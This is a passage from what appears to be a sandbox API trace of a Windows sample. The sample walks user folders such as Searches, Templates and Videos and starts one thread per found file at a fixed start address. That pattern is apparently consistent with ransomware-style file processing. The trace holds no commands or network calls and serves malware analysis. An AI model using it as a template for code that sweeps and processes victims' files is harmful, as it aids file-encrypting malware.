ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.889] wcscmp (_String1="..", _String2=".") returned 1 [0087.889] wcscmp (_String1="..", _String2="..") returned 0 [0087.889] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.889] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.889] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.889] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0087.889] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1 [0087.889] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1 [0087.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e2f0 [0087.890] wcscpy (in: _Dest=0x1b79e2f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0087.890] wcscat (in: _Dest=0x1b79e2f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0087.890] wcscat (in: _Dest=0x1b79e2f0, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" [0097.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90 [0097.784] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0097.784] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0097.784] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0097.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85ca80 [0097.784] wcscpy (in: _Dest=0x1b85ca80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0097.784] wcscat (in: _Dest=0x1b85ca80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0097.784] wcscat (in: _Dest=0x1b85ca80, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" [0097.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0097.785] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0097.785] FindClose (in: hFindFile=0x1b858c10 | out: hFindFile=0x1b858c10) returned 1 [0097.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0097.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c70) returned 1 [0097.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858cd0) returned 1 Thread: id = 270 os_tid = 0xd68 [0087.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858bb0 [0087.892] wcscpy (in: _Dest=0x1b858bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0087.893] wcscat (in: _Dest=0x1b858bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\" [0087.893] wcscat (in: _Dest=0x1b858bb0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*" [0087.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0087.893] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0087.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 [0087.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858d30) returned 1 Thread: id = 271 os_tid = 0xd6c [0087.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858d30 [0087.898] wcscpy (in: _Dest=0x1b858d30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0087.898] wcscat (in: _Dest=0x1b858d30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\" [0087.898] wcscat (in: _Dest=0x1b858d30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*" [0087.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0087.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858d30) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858d90) returned 1 Thread: id = 272 os_tid = 0xd70 [0087.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858d90 [0087.903] wcscpy (in: _Dest=0x1b858d90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0087.903] wcscat (in: _Dest=0x1b858d90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\" [0087.903] wcscat (in: _Dest=0x1b858d90, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*" [0087.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0087.903] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0087.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858d90) returned 1 [0087.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858df0) returned 1 Thread: id = 273 os_tid = 0xd74 [0087.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858df0 [0087.908] wcscpy (in: _Dest=0x1b858df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0087.908] wcscat (in: _Dest=0x1b858df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0087.908] wcscat (in: _Dest=0x1b858df0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*" [0087.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0087.908] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c8dde0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c8dde0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d90 [0087.909] wcscmp (_String1=".", _String2=".") returned 0 [0087.909] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c8dde0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c8dde0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.909] wcscmp (_String1="..", _String2=".") returned 1 [0087.909] wcscmp (_String1="..", _String2="..") returned 0 [0087.909] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6d4500, ftCreationTime.dwHighDateTime=0x1d5e277, ftLastAccessTime.dwLowDateTime=0xf8b362e0, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0xf8b362e0, ftLastWriteTime.dwHighDateTime=0x1d5e229, nFileSizeHigh=0x0, nFileSizeLow=0x129de, dwReserved0=0x0, dwReserved1=0x0, cFileName="0tI4uG69.mkv", cAlternateFileName="")) returned 1 [0087.909] wcscmp (_String1="0tI4uG69.mkv", _String2=".") returned 1 [0087.909] wcscmp (_String1="0tI4uG69.mkv", _String2="..") returned 1 [0087.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c2130 [0087.909] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0087.909] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0087.909] wcscat (in: _Dest=0x1b7c2130, _Source="0tI4uG69.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0tI4uG69.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0tI4uG69.mkv" [0090.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0090.756] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f7e0c80, ftCreationTime.dwHighDateTime=0x1d5d98b, ftLastAccessTime.dwLowDateTime=0x17b933d0, ftLastAccessTime.dwHighDateTime=0x1d5e159, ftLastWriteTime.dwLowDateTime=0x17b933d0, ftLastWriteTime.dwHighDateTime=0x1d5e159, nFileSizeHigh=0x0, nFileSizeLow=0x635b, dwReserved0=0x0, dwReserved1=0x0, cFileName="262o5_LkH.flv", cAlternateFileName="262O5_~1.FLV")) returned 1 [0090.756] wcscmp (_String1="262o5_LkH.flv", _String2=".") returned 1 [0090.756] wcscmp (_String1="262o5_LkH.flv", _String2="..") returned 1 [0090.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86edb0 [0090.756] wcscpy (in: _Dest=0x1b86edb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.756] wcscat (in: _Dest=0x1b86edb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.756] wcscat (in: _Dest=0x1b86edb0, _Source="262o5_LkH.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\262o5_LkH.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\262o5_LkH.flv" [0090.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86edb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0090.757] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88eb4ac0, ftCreationTime.dwHighDateTime=0x1d5e555, ftLastAccessTime.dwLowDateTime=0xda9b08e0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0xda9b08e0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x3991, dwReserved0=0x0, dwReserved1=0x0, cFileName="43T44Z5gN8s.flv", cAlternateFileName="43T44Z~1.FLV")) returned 1 [0090.757] wcscmp (_String1="43T44Z5gN8s.flv", _String2=".") returned 1 [0090.757] wcscmp (_String1="43T44Z5gN8s.flv", _String2="..") returned 1 [0090.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8663c0 [0090.757] wcscpy (in: _Dest=0x1b8663c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.757] wcscat (in: _Dest=0x1b8663c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.757] wcscat (in: _Dest=0x1b8663c0, _Source="43T44Z5gN8s.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\43T44Z5gN8s.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\43T44Z5gN8s.flv" [0090.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8663c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0090.758] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3d6000, ftCreationTime.dwHighDateTime=0x1d5db67, ftLastAccessTime.dwLowDateTime=0x9e5ef5f0, ftLastAccessTime.dwHighDateTime=0x1d5dff6, ftLastWriteTime.dwLowDateTime=0x9e5ef5f0, ftLastWriteTime.dwHighDateTime=0x1d5dff6, nFileSizeHigh=0x0, nFileSizeLow=0x44a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5c-bQozH-T.avi", cAlternateFileName="5C-BQO~1.AVI")) returned 1 [0090.758] wcscmp (_String1="5c-bQozH-T.avi", _String2=".") returned 1 [0090.758] wcscmp (_String1="5c-bQozH-T.avi", _String2="..") returned 1 [0090.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86ee20 [0090.758] wcscpy (in: _Dest=0x1b86ee20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.758] wcscat (in: _Dest=0x1b86ee20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.759] wcscat (in: _Dest=0x1b86ee20, _Source="5c-bQozH-T.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5c-bQozH-T.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5c-bQozH-T.avi" [0090.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ee20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0090.759] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5d8af10, ftCreationTime.dwHighDateTime=0x1d5db9b, ftLastAccessTime.dwLowDateTime=0x7c714100, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x7c714100, ftLastWriteTime.dwHighDateTime=0x1d5db19, nFileSizeHigh=0x0, nFileSizeLow=0x8e43, dwReserved0=0x0, dwReserved1=0x0, cFileName="6UMCbV.avi", cAlternateFileName="")) returned 1 [0090.759] wcscmp (_String1="6UMCbV.avi", _String2=".") returned 1 [0090.759] wcscmp (_String1="6UMCbV.avi", _String2="..") returned 1 [0090.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ee90 [0090.760] wcscpy (in: _Dest=0x1b86ee90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.760] wcscat (in: _Dest=0x1b86ee90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.760] wcscat (in: _Dest=0x1b86ee90, _Source="6UMCbV.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6UMCbV.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6UMCbV.avi" [0090.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ee90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0090.760] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8fa610, ftCreationTime.dwHighDateTime=0x1d5e3a4, ftLastAccessTime.dwLowDateTime=0x77865070, ftLastAccessTime.dwHighDateTime=0x1d5ddc3, ftLastWriteTime.dwLowDateTime=0x77865070, ftLastWriteTime.dwHighDateTime=0x1d5ddc3, nFileSizeHigh=0x0, nFileSizeLow=0x1547d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7RQaz-5 SCuxZ6bSqg0-.swf", cAlternateFileName="7RQAZ-~1.SWF")) returned 1 [0090.760] wcscmp (_String1="7RQaz-5 SCuxZ6bSqg0-.swf", _String2=".") returned 1 [0090.760] wcscmp (_String1="7RQaz-5 SCuxZ6bSqg0-.swf", _String2="..") returned 1 [0090.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784490 [0090.760] wcscpy (in: _Dest=0x1b784490, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.761] wcscat (in: _Dest=0x1b784490, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.761] wcscat (in: _Dest=0x1b784490, _Source="7RQaz-5 SCuxZ6bSqg0-.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7RQaz-5 SCuxZ6bSqg0-.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7RQaz-5 SCuxZ6bSqg0-.swf" [0090.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0090.761] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a5de30, ftCreationTime.dwHighDateTime=0x1d5e5e3, ftLastAccessTime.dwLowDateTime=0xe2bd30a0, ftLastAccessTime.dwHighDateTime=0x1d5e61c, ftLastWriteTime.dwLowDateTime=0xe2bd30a0, ftLastWriteTime.dwHighDateTime=0x1d5e61c, nFileSizeHigh=0x0, nFileSizeLow=0x1721f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AW DI9EKA_ipqs I.mkv", cAlternateFileName="AWDI9E~1.MKV")) returned 1 [0090.761] wcscmp (_String1="AW DI9EKA_ipqs I.mkv", _String2=".") returned 1 [0090.761] wcscmp (_String1="AW DI9EKA_ipqs I.mkv", _String2="..") returned 1 [0090.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866440 [0090.762] wcscpy (in: _Dest=0x1b866440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.762] wcscat (in: _Dest=0x1b866440, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.762] wcscat (in: _Dest=0x1b866440, _Source="AW DI9EKA_ipqs I.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AW DI9EKA_ipqs I.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AW DI9EKA_ipqs I.mkv" [0090.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0090.763] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7720c250, ftCreationTime.dwHighDateTime=0x1d5d959, ftLastAccessTime.dwLowDateTime=0x11a6e8a0, ftLastAccessTime.dwHighDateTime=0x1d5e624, ftLastWriteTime.dwLowDateTime=0x11a6e8a0, ftLastWriteTime.dwHighDateTime=0x1d5e624, nFileSizeHigh=0x0, nFileSizeLow=0x42fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEjXXuKcKsRHhExD0Ys.flv", cAlternateFileName="DEJXXU~1.FLV")) returned 1 [0090.763] wcscmp (_String1="DEjXXuKcKsRHhExD0Ys.flv", _String2=".") returned 1 [0090.763] wcscmp (_String1="DEjXXuKcKsRHhExD0Ys.flv", _String2="..") returned 1 [0090.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784370 [0090.763] wcscpy (in: _Dest=0x1b784370, 